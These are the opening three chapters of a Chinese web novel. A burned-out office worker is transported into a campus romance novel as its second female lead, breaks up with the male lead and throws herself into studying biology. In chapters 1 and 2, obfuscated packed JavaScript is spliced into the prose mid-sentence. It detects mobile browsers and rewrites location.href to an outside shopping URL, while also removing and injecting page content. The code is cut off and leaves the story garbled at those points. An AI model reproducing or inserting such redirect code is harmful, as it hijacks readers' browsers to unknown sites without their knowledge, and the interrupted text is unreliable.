《女二只想搞学习[穿书]》 1. 第 1 章 谢予青觉得自己大概是猝死了。 意识消散前的最后一帧画面,是凌晨两点的出租屋。她刚洗过澡,手机嗡嗡响,拿起来一看,是项目经理。 项目经理:方案还得改,客户那边又有新想法。 她机械地敲下“收到”二字,胸腔里骤然翻涌起一阵钝痛,随后眼前便坠入无边的黑暗。 …… “谢予青!谢予青!你倒是醒醒!再赖着第一节课就赶不上了!” 谢予青猛地睁开眼。 一张年轻的面孔凑在跟前,皮肤莹润得近乎透明,正满脸焦灼地摇晃她的肩头。 谢予青脑子里混沌一片,下意识环顾四周。 上下铺的铁架床,书桌上摞得歪歪斜斜的教材,窗帘缝隙里漏进来的日光,空气里飘着洗衣液的柠檬香。 宿舍? “几点了?”她脱口而出,嗓子干得厉害。 “七点五十了!第一节是王老头的课,迟到扣平时分,”那姑娘一把掀开她被子,“快快快,我可不想陪你补考!” 谢予青被拽起来,整个人还是懵的。她低头看自己,一件皱巴巴的睡衣,再摸脸,皮肤光滑,没有熬夜熬出来的痘,没有遮瑕都盖不住的黑眼圈。 她下床,踉跄着走到宿舍门口那面破镜子前。 镜子里的人让她彻底愣住了。 十八岁,最多十八岁。满脸的胶原蛋白,眼神天真无邪,一点儿疲惫感都没有。 头发也是乌黑浓密,没有发际线后移的痕迹。谢予青张大嘴,镜子里的人也张大嘴。 “愣着干嘛!快穿衣服!”那姑娘已经套上牛仔裤。 谢予青机械地穿衣服,脑子里嗡嗡的。她记得自己昨晚加班到一点,拖着残躯回到出租屋,刚洗过澡躺床上,才回了个信息,心脏就猛地抽痛了一下,然后眼前一黑。 再然后呢?怎么就到这儿了? “快快快!”那姑娘拉着她就往外跑。 走廊上全是学生,抱着书匆匆忙忙往下冲。谢予青被人流裹挟着,跑出宿舍楼,跑过一条种满梧桐的路,跑进一栋教学楼。 “呼……没迟到没迟到!”那姑娘拉着她挤进阶梯教室后排,瘫在座位上喘气。 谢予青坐在硬邦邦的椅子上,看着前面黑压压的脑袋,还有讲台上那个正在翻点名册的中年男人,发了会儿楞,又扭头看了看窗外透进来的阳光。 二十八岁的社畜谢予青,在这一刻,终于反应过来了。 她穿越了。 脑中猝然响起一道温柔的女声:您好,恭喜您中了宇宙大奖。鉴于您此前一直渴望重返大学校园,攻读最心爱的生物专业,本仙决定赠予您一份重返大学校园大礼包。您将穿越进一部古早的校园偶像小说中,化身其中同名的女二号,可以自由改写剧情,但时限仅为三年。三年期满后您便要回归现实世界,不过无须担忧,现实里只过去了三个小时,您醒来时天刚好亮。 谢予青听到这串字正腔圆的播报,脊背窜起一阵凉意,试着用脑电波与她交涉:“你谁啊?” “我是掌管宇宙的神……咳咳,打我作甚?我又没有说错!”对方不知在跟谁争执,语气里透出几分气急败坏。 “呃……”谢予青扶额,“你到底什么来路?我怎么知道你不是在糊弄我?” “放心吧,哈哈哈,三年后保准让你平平安安回家。”那声音吊儿郎当的,听得谢予青心里愈发没底。 “那现实世界里不会有人发觉我失踪了吧?” “不会呀,你只是睡着了而已,又不是凭空消失了。” “哦,那我当真能改写剧情?” “自然可以呀,你就权当是一场梦,随你怎么折腾。” 听她这般说辞,谢予青倒真松下一口气。 穿书小说她也不是没翻过,只是那些故事里的主角多半是在现实里消失或去世,再也回不去原本的世界。若是三年后能安然折返,那便再好不过。 权当用三个小时的睡眠,置换三年酣畅淋漓的校园时光,何况还是她惦念已久的生物专业。 这买卖,实在划算。 她继续用脑电波与那声音周旋:“那你总得告诉我,这到底是什么小说?” 对方沉吟了片刻才答:“就是你前几天刚翻过的那本,好了,我要去睡觉了,有事往后再说。” 谢予青气得险些噎住:“不是吧,神仙也要睡觉?喂!喂!喂!” 任凭她怎么呼唤,那边再无回应。 行吧,前几天刚翻过的…… 谢予青拧着眉仔细回溯。 脑子里像蒙太奇似的掠过几帧画面。 前些日子她蜷在出租屋里就着泡面刷手机,确实随手点开过一本校园言情,名字好像是《他的微光》,还是《盛夏有风》? 大概是那种高冷学霸男主配温柔小白花女主的套路,她肯点进去,无非因为女二号与自己同名同姓,背景又恰好设在她熟悉的A市,加之女二念的正是她心心念念的生物系。 可惜剧情实在乏善可陈,她囫囵吞了一半便昏沉睡去。 如今她穿进那本书里了? “谢予青?”旁边的姑娘推她一把,“你发什么呆呢?王老头盯上你了。” 谢予青回过神,慌忙垂下脑袋。讲台上的教授已经开始授课,那嗓音平直寡淡,自带三分催眠功效,听得人眼皮发沉。 她翻开面前摊着的课本,封皮上印着《大学英语(一)》几个字。 旁边的姑娘凑过来压低声音:“你今天怎么回事?魂不守舍的,对了,中午夏听北是不是约了你?” 夏听北。 谢予青霎时清醒了。 她想起来了。 那本书的男主就叫夏听北。 金融系的系草,高冷学霸,家境优渥,全校女生的白月光。 书里有个女二号,也叫谢予青,是男主的初恋,严格来说甚至算不得初恋,是男主为了气女主才答应的对象。 故事的起点便是大一开学。 原主对男主一见倾心,花了一整个军训的时间死缠烂打,一周前男主总算点了头。 她瞥了一眼手机屏幕上的日期,十月初,国庆假期刚过,课程才刚开始。 还好,才刚开始上专业课,否则她还真怕跟不上。 原著的脉络大致如此:女二号死缠烂打追到男主,男主却始终对她不冷不热。后来女二黑化,变着法子陷害女主,最后被男主收拾得狼狈不堪,大约是退学了事。 谢予青没看到结局,那会儿困得眼皮打架,实在撑不住了。 身旁的姑娘还在絮絮低语:“你上周才追到人家,不会转头就忘了吧?姐妹们可都羡慕坏了,夏听北诶!咱们学校多少女生削尖了脑袋都够不着,你可要抓牢了,别让人溜走。” 谢予青侧目看她,脑子里飞速运转。 看来她推断得没错,现在正是剧情肇始之时,她刚和夏听北确立关系,对方对她冷淡至极。 “他约我做什么?”谢予青问。 “我哪知道!”那姑娘翻了个白眼,“昨天可是你自己说的,今天中午要去咖啡馆找他,你可得好好表现,别像平时那样咋咋呼呼的。” 谢予青点点头,没再接茬。 脑子里盘桓的却不是夏听北,而是另一桩事。 方才跑过校园时,她瞥见一块路牌。 生物实验楼。 谢予青二十八年社畜生涯里,最大的憾事便是与生物失之交臂。当年高考填志愿,她想报生物科学,被父母劈头盖脸骂了回去:“学生物能做什么?毕业了连口饭都混不上!学金融,进银行,稳稳当当的。” 她听话了,学了金融,进了银行。 后来又跳到互联网公司,日日加班,夜夜熬命,对着Excel和PPT虚掷光阴,“生物”两个字,便成了她心底一根拔不掉的刺,一个永远够不着的梦。 现在…… 她低头看着自己的手,年轻的、没有茧子的手。 现在,她十八岁,大一,一切尚可从头。 上午的课谢予青一个字都没听进去。 她一直在盘算:穿进书里了,然后呢?既然能改写剧情,那她断然不可能按原著的路子走,去当一个人嫌狗不爱的恶毒女二,最后被男主收拾得体无完肤。 别逗了。她二十八了,早过了为男人寻死觅活的年纪。 更何况眼下他们才大一,原主和男主都不过十八岁,比她小了整整十岁,任男主生得再如何惊为天人,在她眼里也不过是个毛头小子罢了。 中午下课,旁边的姑娘问她还要不要去食堂。 她叫唐笑,是原主的室友。 谢予青摇摇头:“不用,我直接去咖啡馆找夏听北。” 她得去把这事解决了。 校园咖啡馆在图书馆旁边,装潢得颇有几分小资情调,玻璃窗上贴着咖啡豆的贴纸。 她记得原著里提过,男主喜欢在咖啡馆消磨时间。 她不清楚男主长什么模样,下课后特意翻了翻原主的手机相册,里头果然存了不少男主的照片。确实生得好看,难怪原主为他神魂颠倒。 推门进去,一眼就看见了夏听北。 这人实在太扎眼,本人比照片还要耐看。 坐在靠窗的位子,穿了件浅灰的上衣,侧脸的线条利落又干净。面前搁着一台笔记本电脑,修长的手指在键盘上敲击,眼皮都没抬一下。 谢予青走过去,在他对面落座。 夏听北抬眸瞥她一眼,随即又垂下去,继续敲他的键盘。 “来了?”语气淡淡的,嗓音倒是清冽好听。 谢予青端详着他,心里暗暗忖度:这男生的确生得不错,但也就那样了。她二十八岁,职场里见过的英俊面孔多了去了,这种冷着一张脸扮深沉的,在她眼里就是幼稚。 “夏听北同学。”她开口。 夏听北又抬头,这次多看了她一眼,大概是因为她语气不太对。 谢予青说:“我就直说了。” 夏听北挑眉。 “我知道你答应我的表白是为什么。”谢予青直视着他,“为了气苏昭昭,对么?” 夏听北的表情凝滞了一瞬。 苏昭昭,原著女主,音乐系才女,温婉良善,与夏听北青梅竹马。书里写这两人自小彼此倾心,却谁都不敢先捅破那层窗户纸,于是男主便故意应下女二的表白,想借此激她一激。 典型的小学生做派。 “我不知道你在说什么。”夏听北合上电脑,嗓音冷了下去。 “你知道的。”谢予青笑了笑,半分恼意也无,“不过不要紧,我不在意。” 夏听北看着她,眼里终于有了点不一样的神色。 谢予青站起身,居高临下地看着他:“我就是来跟你说一声,分手吧,咱俩这么耗着没意思,你也不必委屈自己陪我演戏,我也不想给人当道具。从今往后,你走你的阳关道,我过我的独木桥。祝你早日追到苏昭昭,告辞。” 说完,她转身就走。 留下夏听北一人坐在窗边,神情复杂难辨。 谢予青走出咖啡馆,阳光洒在身上,暖洋洋的。 爽。 在现实世界里当社畜,日日看老板脸色,回回被客户刁难,憋了一肚子闷气无处宣泄。如今好了,她无牵无挂,一身轻松,有大把的好光阴可以挥霍。 她才不要陪这群十八岁的小孩玩什么过家家式的恋爱游戏。 谢予青沿着校园的小径慢悠悠地走,路过图书馆,走过教学楼,最后停在一栋楼前。 生物实验楼。 灰扑扑的墙面,爬了半墙的爬山虎,叶片在秋风里簌簌地颤。 谢予青站在楼下,仰头望着那几个字,眼眶蓦地有些发酸。 从前刷到生物相关的科普视频,她总要停下来多看两眼。 有一回加班到深夜,她摸出手机查资料,无意间点开一个讲细胞分裂的纪录片,正看得入神,项目经理的电话催命一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513705|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样打了过来,催她改方案。 那时候她无数次想过,如果当年咬咬牙选了喜欢的专业,如今会是怎样一番光景? 现在,她有机会知道了。 谢予青抬脚,迈入实验楼。 楼道里飘着一股淡淡的消毒水气味,于她却像是顶好闻的香水。她一层一层地走,透过玻璃窗看里面的实验室。 有人穿着白大褂俯身在操作台前,她站在门外看得出神。 行至三楼,迎面是一块公告板,上面密密匝匝贴着各色通知:学术讲座、课题招募、实验助手招聘…… 谢予青逐条看过去,心跳渐渐急促。 有个课题组的招募启事上写着:招收大一新生,不限基础,要求勤奋好学、对分子生物学有热情,联系人:张教授。办公室:305。 谢予青站在公告板前,手指轻轻摸着那张纸。 这才是她想要的生活。 也是她中了这个劳什子“宇宙大奖”的真正意义所在。 手机震了一下。 唐笑发来消息:怎么样怎么样?和男神约会顺不顺利? 谢予青回:分了。 唐笑秒回:?????????? 谢予青没搭理她,把手机塞回兜里,最后望了一眼公告板,转身下楼。 走出实验楼,阳光正好。谢予青站在台阶上,望着来来往往的学生,远处的操场与教学楼,还有头顶那片澄澈的、无边无际的蓝天。 脑中突然闪过很多东西。加班的深夜,出租屋里堆满的外卖盒,体检报告上那个“建议定期复查”的结节。 虽然她才在这个世界生活了几个小时而已,仔细想一想,却觉得之前的生活离自己已经很遥远了。 谢予青深吸一口气,对着天空笑了笑。 去他的男主。去他的剧情。去他的狗血恋爱。 她要读书,要做实验,要泡图书馆,要发论文,要把在现实世界中错过的一切,全都补回来。 手机嗡一声,这次是班级群艾特全体:下午两点,二教101,《普通生物学》第一次课,请同学们准时到场。 谢予青看着那条消息,嘴角翘起来。 普通生物学,她上辈子做梦都想上的课。 她把手机揣好,大步往宿舍走。 走到宿舍楼下,唐笑从窗户探出头:“谢予青!你给我上来解释清楚!!” 谢予青抬头看她,笑着挥手,推门进楼。 宿舍里,唐笑早已守候在门口,一脸要兴师问罪的架势:“你老实交代,到底怎么回事?你们不是才在一起吗?” 谢予青坐到椅子里,拧开水杯喝了一口:“就是觉着没意思,他喜欢的是别人,我也不想给人当工具人,和平分手,皆大欢喜。” “他喜欢别人?谁?” “这我不能说。” 唐笑满脸狐疑:“你怎么看出来的?” “猜的。”谢予青翻开桌上那本《普通生物学》课本,心下再次庆幸,还好刚开学,她大概能跟得上进度。 唐笑凑过来:“那你不难过?” “难过什么?”谢予青垂眸望着目录上的章节标题,细胞、遗传、进化、生态……每一个字都让她心潮翻涌,“为一个不喜欢自己的人难过,犯不着。” 唐笑怔住了,大概没料到她能说出这种话来。 谢予青拍了拍她的肩:“行了,别八卦了,下午有课,你书看了没?” 唐笑心虚地别开目光:“……” 谢予青笑了:“那还不快去预习?” 唐笑哀嚎一声,扑回自己的桌前。 谢予青低下头,指腹轻轻摩挲着课本的封面。纸张的油墨味钻进鼻腔,她觉得这是世上最好闻的气息。 下午两点,二教101。 阶梯教室里坐满了人,都是大一新生,谢予青坐在第三排靠窗的位置,笔记本摊开,笔握在手里,眼睛盯着讲台。 一个头发花白的老教授走上讲台,清了清嗓子:“同学们好,我姓张,教《普通生物学》,这门课是你们专业的入门课,也是最重要的一门课,生物学的世界很大,希望这一年,能带你们看到它的美。” 谢予青眼眶有点热。 老教授开始讲课,从细胞的结构讲起,讲细胞膜、细胞核、线粒体。那些她只在科普视频里听过的名词,现在变成了黑板上的板书,变成了教授嘴里娓娓道来的知识。 她一笔一划地记笔记,生怕漏掉一个字。 阳光从窗户照进来,落在她的笔记本上,她的神情专注又美好。 窗外走廊上,有人路过。修长的身影脚步一顿,往教室里看了一眼。 夏听北透过玻璃窗,看到坐在第三排的那个女生。 她低着头在写什么,阳光照在她脸上,表情认真得不像他认识的那个谢予青。 他仔细想了想咖啡馆里她说的那几句话。 “我知道你答应我的表白是为了什么。” “分手吧。” “祝你早日追到苏昭昭。” 干脆利落,没有半点拖泥带水。 夏听北站了一会儿,转身走了。 教室里,谢予青完全没注意到窗外有人。她正盯着黑板上的细胞结构图,满脑子都是细胞核、线粒体、内质网。 下课铃响的时候,她还有点意犹未尽。 后边还有两节公共课,谢予青依旧听得认真。 终于放学了。 唐笑戳她:“走啦,吃饭去。” 谢予青合上笔记本,站起来,走出教室,夕阳正铺满天际,把整座校园染成一片融融的金黄。 她望着那片绚烂的晚霞,忽然想起一句话来:人生最好的时刻,便是当下。 不论这个世界是真是幻,不论那个夏听北日后会如何,不论原著剧情怎样铺展,她谢予青,都要在这座校园里,把自己曾经亏欠自己的那些年,一桩一桩地,悉数补回来。 谈恋爱? 再说吧。 2. 第 2 章 “哎,你真跟夏听北分了?”唐笑边走边问,嘴里还叼着一根棒棒糖。 “分了。” “他怎么说?” “没怎么说。”谢予青想了想,“就愣了一下,然后我就走了。” 唐笑瞪大眼睛:“你就走了?你没等他说话?” “等他说话干嘛?”谢予青莫名其妙,“该说的我都说了,还有什么好聊的?” 唐笑看她的眼神像看外星人:“那可是夏听北!金融系系草!全校多少女生想跟他说句话都说不上,你倒好,说完就走?” 谢予青被她逗笑了:“所以呢?都分手了,我还要留下来吗?” “那倒也不是……”唐笑挠挠头,“就是觉得你变化挺大的,以前你提到他眼睛都放光,现在怎么……” “现在怎么了?” “现在好像无所谓了?” 谢予青没说话,只是笑了笑。 她当然无所谓。二十八岁的灵魂,要是还对十八岁小孩的恋爱游戏上头,那才叫有问题。 两个人沿着梧桐道往食堂走。谢予青看着前面的学生三三两两地走过,每个人都洋溢着青春气息,胶原蛋白满满的脸蛋,脸上挂着的都是无忧无虑的笑容。 她伸了个懒腰,觉得连喘口气都舒服。 “哎,那边,”唐笑突然拽了拽她袖子,压低声音,“苏昭昭。” 谢予青顺着她的视线看过去。 路边有一小片草坪,草坪边上种着一排矮矮的灌木。一个女生蹲在那里,穿着一条白色的棉布裙子,长发披散着,正伸手轻轻摸一只流浪猫。 那是只橘猫,瘦得肋骨都看得见,正埋着头吃地上的猫粮。女生摸它的动作很轻,夕阳的光打在她身上,给她镀了一层柔光。 谢予青站在原地,看着这幅画面,脑子里只有一个念头: 这也太典型了吧! 白色长裙,温柔摸猫,夕阳柔光,buff叠满了属于是。 她仔细想了想那本小说的设定。原女主苏昭昭,音乐系才女,温柔善良,纯洁无瑕,是全小说唯一的“好人”。所有女生都是恶毒的、嫉妒的、小心眼的,只有她是一朵出淤泥而不染的白莲花。 不对,白月光。 书里好像有个情节是原主故意把她的琴谱弄丢,害她演出差点搞砸,结果她不但不生气,还替原主求情,说“她一定不是故意的”,然后男主就更讨厌女二了,女二就更恨她了,恶性循环。 谢予青想到这里,忍不住在心里翻了个白眼。 这种古早小说,套路简直一模一样,女主善良单纯,所有女配都是疯批,男人呢?两个主要男性角色,男主和后期会出现的学长男二号,一个比一个完美,深情专一温柔体贴,好像全天下的好品质都长在男人身上了。 女生就只能当工具人,要么当女主衬托善良的背景板,要么当恶毒女配衬托女主的无辜。 什么玩意儿。 更让谢予青看得气闷的是,原主在文中虽然是个不太讨喜的角色,可她现在毕竟是正牌的女友,而苏昭昭呢?她是男主的青梅竹马,两个人明明互相喜欢,却不说破,最后还要拉上她这个垫背的,无视她这个正牌女友的存在,两个人继续眉来眼去,互相争风吃醋。 更可恶的是,到最后竟然所有人都怪她这个正牌女友不够大气! 这都什么跟什么呀,幸好现在不流行这种东西了。 简直就是鬼故事! 她觉得自己也是倒霉,怎么就穿到了这样一部古早的偶像小说当中呢,要是现代大女主剧本就好了,不过也无所谓,她可以自己创造自己的剧情,反正她有三年的时间嘛。 她倒是也没想成为什么大女主,她只是想要利用这三年的机会,好好学一下生物,算是圆了自己的一个梦。 顺便再享受一下这美好的大学时光。 谢予青正想着,那边的苏昭昭抬起头,刚好看到她。 两个人的视线在空中对上了。 谢予青注意到,苏昭昭的表情微妙地变了一下。 但只是一瞬间,那张脸就切换成了温柔的笑容。 苏昭昭站起来,朝谢予青走过来。 “予青。”她笑着打招呼,声音也是柔柔的,“好巧。” 谢予青看着她走近,心里琢磨:原主以前见到她是什么态度来着?好像很不友好?书里写女二号一直把苏昭昭当情敌,每次见面都要阴阳怪气几句。 说实话,当时谢予青看这部小说的时候,对这个女主也是颇有微词。 没错,她是温柔,是善良,是单纯,可是,既然男主已经谈恋爱了,那她这个跟男主原本有些暧昧的青梅竹马,是不是应该回避一下呢? 她倒好,非但不回避,反而经常往两个人跟前凑,人家约会的时候,她都要凑过去一起吃饭,看到原主生气了,还要一脸无辜地说一句“我是不是打扰你们了?不然我先走?”然后男主就会马上说“没关系”。 于是她就心安理得地留下来了,跟男主你一言我一语,嘻嘻哈哈,丝毫不顾及原主的感受。 有时候男主不高兴了,她也马上去安慰,还一脸认真跟原主说男主喜欢什么不喜欢什么,一副熟稔的样子,惹人生气。 所以有时候也真不怪原主发飙,这要是她,估计早就气炸了。 谢予青看到她那副娇娇弱弱的样子,强压住心头的不快,只是点点头,语气平淡:“嗯,好巧。” 然后她侧过头对唐笑说:“走吧,食堂该排队了。” 说完,她直接往前走了。 唐笑愣了一下,赶紧跟上。 苏昭昭站在原地,看着两个人的背影走远,脸上的笑容慢慢收起来,换成困惑的表情。 怎么回事? 谢予青刚才看她的眼神太平静了。 毕竟之前谢予青看她不爽很久了,每次见面都要刺她几句,她们俩甚至都没说过几句话,因为谢予青一见到她就没好脸色。 可是刚才…… 苏昭昭皱了皱眉。 谢予青和唐笑走出去老远,唐笑才小声说:“你刚才就那样走了?” “不然呢?”谢予青看她,“再寒暄几句?” “不是,我是说,”唐笑挠头,“你以前看到她,不是都要……” “都要什么?” “都要,”唐笑比划了一下,“就是那个……你懂的。” 谢予青想笑。看来原主以前确实没少针对苏昭昭,连室友都看出来了。 “以前是以前,现在是现在。”她说,“我跟夏听北都分了,还针对她干嘛?她又没惹我。” 唐笑想了想,觉得有道理:“那倒也是,不过你真的一点都不在意她了?” “不在意。” “那夏听北呢?” “也不在意。” 唐笑盯着她看了好几秒,最后得出结论:“谢予青,你是不是被夺舍了?” 谢予青差点笑出声。 可不就是被夺舍了吗? 想到这儿,她突然意识到还有一个问题没搞明白,那就是原主去哪儿了?不对,应该是原主的灵魂去哪儿了? 一个大活人总不可能平白无故就消失吧,虽然这只是书里的世界。 等有时间,她得问问那位大仙儿。 “行了行了,快走,再晚红烧肉没了。”她拽着唐笑往食堂跑。 两个人打了饭,找了个靠窗的位置坐下。 谢予青吃着食堂的糖醋里脊,觉得这味道比她在现实世界里点过的所有外卖都香。 “对了,”唐笑咬着筷子,“周末咱们宿舍出去逛街吧?” “行啊。” “好久没一起出去了,圆圆和文慧肯定也想去。” 圆圆大名郑圆圆,文慧大名张文慧,是她们宿舍的另外两个室友。谢予青对她们印象不深,但记得都是挺好相处的姑娘。 吃完饭回到宿舍,郑圆圆正趴在床上看手机,张文慧坐在桌前写作业。看到她们回来,郑圆圆立刻放下手机:“哎哎哎,听说你跟夏听北分了?” 谢予青马上看向唐笑:“你告诉她们的?” “你别管我们怎么知道的,”郑圆圆翻了个身,趴在床沿上探头看她,“怎么回事啊?你们不刚在一起吗?” “就是觉得不合适,分了。” “不合适?”张文慧也转过头来,“你追了他那么久,现在跟我说不合适?” 谢予青坐到椅子上,打开水杯喝了一口:“追的时候不了解,追到了才发现不是一路人,及时止损,不行吗?” 三个室友互相看了一眼。 “行。”唐笑第一个表态,“你说行就行。” 郑圆圆眨眨眼:“那夏听北怎么说?” “没怎么说。” “他没挽留?” “没有。” 郑圆圆一脸失望:“切,我还以为能听点八卦呢。” 谢予青被她逗笑了:“你想听什么八卦?” “比如他其实喜欢你,但是嘴硬不肯说,你提分手他当场破防那种。” “想多了。”谢予青摇头,“他巴不得我提呢。” “为啥?” “因为他喜欢的是别人。” “谁?” 谢予青顿了顿。说实话好像不太好,毕竟是苏昭昭的私事,虽然书里写她最后跟夏听北在一起了,但那也是以后的事,现在说出来等于传闲话。 “不知道。”她摇头,“瞎猜的。” 三个人又失望地缩回去。 “不过说真的,”张文慧托着下巴看她,“你这次分手,好像一点都不难过?” 谢予青想了想:“确实不难过。” “为什么?你不是喜欢他好久了吗?” “喜欢的时候是喜欢的,”谢予青斟酌着措辞,“但在一起之后发现,那种喜欢可能是因为不了解,了解了之后,就觉得没那么喜欢了。” 这话说得挺绕,但三个室友都听懂了。 “懂了。”郑圆圆点头,“就是距离产生美,走近了发现男神也拉屎。” 谢予青一口水差点喷出来。 “郑圆圆你能不能文雅点!”唐笑笑得直拍床。 “怎么不文雅了?我说的是事实!” 四个人笑成一团。 笑完之后,唐笑把周末逛街的计划说了,郑圆圆和张文慧都举双手赞成,四个姑娘开始叽叽喳喳讨论去哪逛、吃什么、买什么,热闹得像菜市场。 谢予青靠在椅背上,看着她们,心里暖洋洋的。 在现实世界中她自己租房子住,每天加班到深夜,回家倒头就睡,连说话的力气都没有。 现在有室友聊天,有朋友八卦,有饭吃,有觉睡,还能读书。 这是什么神仙日子。 怎么就只有三年的时间呢?她真是不想回去了,不不不,还是得回去,要是发现她失踪了,她父母肯定会受不了的,唉。 还真是有点乐不思蜀了呢。 “哎,予青,你说呢?”唐笑叫她。 “啊?什么?” “问你周末要不要买衣服,你那件卫衣都穿好久了。” 谢予青低头看看自己身上的卫衣,确实有点旧。 “买。”她点头,“正好缺衣服。” “那就这么定了!周六上午出发,先去吃饭,然后逛街,晚上看电影!” “耶!” 四个人闹到熄灯才睡。 躺到床上,谢予青突然想起原主的事儿,就开始脑电波交流:“大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“今天就到这里。”张教授合上讲义,“有问题可以来问我。” 谢予青犹豫了一下,站起来走过去。 “张教授,我想问一下,”她指着笔记本上的一个图,“这个电子传递链的过程,我还是有点不清楚……” 张教授看了她一眼,扶了扶老花镜:“是我们班的吗?” “是。” 他有点意外,“预习了?” “嗯,提前看了一下。” 张教授点点头,接过她的笔记本看了看,然后指着图开始讲。 “你看啊,这个地方……” 谢予青认真听着,时不时点头。讲到关键的地方,她还会追问几句。 等她问完问题,教室里的人已经走光了。 “还有问题吗?”张教授笑着问她。 “暂时没有了,谢谢教授!” “嗯。”张教授收拾东西准备走,临走前又看了她一眼,“你叫什么名字?” “谢予青。” “谢予青……”张教授点点头,“好,我知道了。” 说完就走了。 谢予青抱着课本,心情好得要飞起来。 她想起之前上学的时候,最怕的就是问老师问题,总觉得问问题显得自己笨,怕被老师骂,怕被同学笑。 现在想想,真傻。 不懂就问,多正常的事,老师不就是用来问的吗? 她把东西收好,走出教室,阳光照在身上,暖洋洋的。 她抬起头,眯着眼睛伸了个懒腰。 唐笑给她发消息:好了没?食堂等你。 谢予青回:来了。 她往食堂走,经过昨天的草坪时,下意识看了一眼。 那只橘猫还在,正趴在草地上晒太阳,旁边蹲着一个人,还是那条白色裙子。 苏昭昭站在那儿好像在等什么,时不时抬头往路的方向看。 谢予青没多想,继续往前走。 就在她经过的时候,一个人从对面走过来。 一身休闲装,修长的身影,面无表情。 正是夏听北。 他显然是往草坪那边去的。 谢予青和他擦肩而过,谁都没看谁。 谢予青加快脚步,往食堂走去。 身后,夏听北走到草坪边上,停在苏昭昭面前。 “等很久了?” “没有,刚到。”苏昭昭站起来,笑着看他,眼神温柔,“你最近还好吗?” 夏听北没说话,只是“嗯”了一声。 他的视线越过苏昭昭的肩膀,看向远处。 那个背影已经走远了,消失在教学楼的拐角。 他收回目光。 “走吧,”他说,“送你回宿舍。” 苏昭昭点点头,跟他并肩往前走。 走出一段,她轻声说:“听北,你是不是有心事?” “没有。” “可是你刚才一直在看那边。” 夏听北没说话,苏昭昭也不再问。 两个人就这样走着,一个面无表情,一个温柔体贴,像是从书里走出来的画面。 远处的食堂门口,谢予青已经找到唐笑她们,端着餐盘坐下,开始讨论周末逛街的路线。 “先吃饭,然后去步行街,我常去的那家店上新了。” “我要买双鞋,上次那双磨脚。” “我想吃那家烤肉,好久没吃了!” 谢予青夹了一筷子青菜,笑着听她们吵。 3. 第 3 章 周六早上,谢予青是被唐笑摇醒的。 “起床起床起床!”唐笑掀她被子,“说好的逛街,都几点了!” 谢予青眯着眼睛看了一眼窗外,天刚亮。 “大姐,这才几点……” “八点了!商场十点开门,我们还要吃饭坐车,时间刚刚好!” 谢予青被她拽起来,脑子还是懵的。这种一大早爬起来逛街的体验,已经好几年没有过了。 郑圆圆和张文慧也醒了,四个人在宿舍里叽叽喳喳洗漱换衣服。谢予青套了件白色卫衣,牛仔裤,帆布鞋,扎了个马尾,镜子里的自己看起来青春洋溢。 “走吧走吧!” 四个人杀出宿舍,在校门口买了煎饼果子,边吃边往公交站走。 周末的公交车上挤满了学生,都是去市中心逛街的。谢予青被挤在窗边,看着窗外掠过的街景,心情好得要飞起来。 说起来,这部小说用的是现实中的地名,恰好就落在她生活的A市。只是这片大学城地处市郊,离她从前住的地方隔了整整两个小时的地铁,她当年念的也不是这所学校,因此对周边的街巷其实算不上熟悉。 商业街在区中心,是整个大学城最热闹的地方。两边全是各种小店,卖衣服的、卖小吃的、卖饰品的,还有好几家大商场,路上挤满了年轻人,手里拿着奶茶烤串,叽叽喳喳地逛。 “先去哪儿?”唐笑问。 “买衣服!”郑圆圆拽着她们就往一家店里冲。 谢予青跟着进去,满眼都是流行的款式。 她之前逛商场,看的都是通勤装,衬衫西裤小西装,生怕穿得太休闲被老板说,现在呢?卫衣牛仔小白鞋,怎么舒服怎么来。 唐笑拿起一件粉色卫衣往她身上比划:“这件好看,你去试试。” “粉色?” “对啊,你皮肤白,穿粉色肯定好看。” 谢予青半信半疑地接过衣服进了试衣间。 穿出来的时候,三个室友同时“哇”了一声。 “卧槽!”唐笑瞪大眼睛,“这也太绝了吧!” 郑圆圆围着她转了一圈:“谢予青,你是不是不知道你有多好看?” 镜子里的谢予青也有片刻的恍惚。 粉色的卫衣把她整张脸都衬得亮了起来,皮肤白得近乎透明,马尾辫利落地束在脑后,下颌线条小巧精致。 整个人站在那里,浑身上下都透着一股子年轻人特有的鲜活气韵。她从前穿惯了黑白灰,衣柜里连件带颜色的都少见,更别提这种娇嫩的粉。 “买了买了!”张文慧拍板,“必须买!” 谢予青看了看价格,59块。 四舍五入不就等于不要钱? “买!” 接下来就是疯狂的试衣服试鞋子。谢予青发现,年轻真好啊,穿什么都好看,一件几十块钱的T恤,穿在身上都有版型,一条不到一百的牛仔裤,穿上还能显得腿又长又直。 “来来来,这套试试!” “这件裙子你穿肯定好看!” “这双鞋你穿多大码?试试这个!” 三个室友像三个造型师,不停地往她手里塞衣服。谢予青被推进试衣间,换了一套又一套,每次出来都能收获一片尖叫。 “谢予青,”唐笑抱着胳膊看她,“你知道你现在像什么吗?” “像什么?” “像那种校园文里的漂亮女配。”唐笑一本正经地说,“长得好看,身材好,穿什么都像模特,可惜……” “可惜什么?” “可惜你以前只围着夏听北转。”唐笑撇嘴,“浪费了这张脸,你要是多参加点社团活动什么的,不得成校园风云人物啊?” 谢予青被她逗笑了。 还真让她说着了。 原主确实是校园文里的恶毒女二,书里写她长得漂亮,家境好,本来可以过得很精彩,偏偏喜欢上了男主,整天琢磨怎么抢男人、怎么陷害女主,最后把自己作没了。 谢予青看着镜子里的自己,心想,这么好看一张脸,这么年轻的身体,围着一个不爱自己的男人转确实浪费。 傻丫头,她想,也不知道你在哪里,不过放心,这三年我会帮你好好过的。 